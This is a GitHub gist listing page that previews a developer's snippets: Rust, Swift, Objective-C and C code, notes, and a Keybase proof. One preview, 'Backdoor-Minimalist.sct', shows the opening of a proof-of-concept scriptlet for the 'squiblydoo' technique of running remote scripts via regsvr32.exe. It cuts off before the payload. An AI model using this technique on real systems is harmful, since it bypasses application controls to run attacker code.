Skip to content

Instantly share code, notes, and snippets.

View lmumar's full-sized avatar

Lord Norlan Mumar lmumar

View GitHub Profile
@lmumar
lmumar / http_server.rs
Created January 14, 2018 14:03 — forked from mjohnsullivan/http_server.rs
Simple HTTP server example for Rust
// Updated example from http://rosettacode.org/wiki/Hello_world/Web_server#Rust
// to work with Rust 1.0 beta
use std::net::{TcpStream, TcpListener};
use std::io::{Read, Write};
use std::thread;
fn handle_read(mut stream: &TcpStream) {
let mut buf = [0u8 ;4096];

Effective Engineer - Notes

What's an Effective Engineer?

  • They are the people who get things done. Effective Engineers produce results.

Adopt the Right Mindsets

@lmumar
lmumar / Gemfile
Created August 23, 2017 12:19 — forked from steveklabnik/Gemfile
Hypermedia Proxy pattern in JSON
source :rubygems
gem 'sinatra'
@lmumar
lmumar / Backdoor-Minimalist.sct
Created April 15, 2017 03:19
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[

Keybase proof

I hereby claim:

  • I am lmumar on github.
  • I am lmumar (https://keybase.io/lmumar) on keybase.
  • I have a public key whose fingerprint is E42B 80E9 F6DE 543C 2011 C272 0758 4E70 EB51 1A3E

To claim this, I am signing this object:

@lmumar
lmumar / introrx.md
Created September 22, 2016 10:03 — forked from staltz/introrx.md
The introduction to Reactive Programming you've been missing
@lmumar
lmumar / gist:d9d5de10ab591847cba8d641d5164d22
Created September 8, 2016 10:14 — forked from alejandro-isaza/gist:5717438
UIImage category to normalize image orientation by rotating an image so that it's orientation is UIImageOrientationUp. Based on http://stackoverflow.com/questions/5427656/ios-uiimagepickercontroller-result-image-orientation-after-upload/5427890#10611036
@interface UIImage (Orientation)
- (UIImage*)imageByNormalizingOrientation;
@end
@implementation UIImage (Orientation)
- (UIImage*)imageByNormalizingOrientation {
@lmumar
lmumar / phone.swift
Created July 8, 2016 10:32 — forked from rjchatfield/phone.swift
Validating PhoneNumber type in Swift with a failable initialiser and an enum (for type safety)
import Foundation
typealias RegexPattern = String
let aussiePhoneNumber = 0424_555_123
let brokePhoneNumber = 0424_555_1231
enum PhoneNumberType: RegexPattern {
// List all regex patterns
case AussieMobile = "(?:\\+?61|0)4(?:[01]\\d{3}|(?:2[1-9]|3[0-57-9]|4[7-9]|5[0-15-9]|6[679]|7[3-8]|8[1478]|9[07-9])\\d{2}|(?:20[2-9]|444|52[0-6]|68[3-9]|70[0-7]|79[01]|820|890|91[0-4])\\d|(?:200[0-3]|201[01]|8984))\\d{4}$"
@lmumar
lmumar / stateReduce.swift
Created July 8, 2016 10:29 — forked from rjchatfield/stateReduce.swift
Inspired by Redux, but not really Redux
// ACTIONS & REDUCERS
enum CounterAction {
case Increment
case Decrement
case ChangeBy(Int)
}
enum NameAction {
case Set(String)
case Clear
}
#include <stdio.h>
#include <stdlib.h>
typedef struct _node node;
typedef void (*apply)(node *);
struct _node {
struct _node *left;
struct _node *right;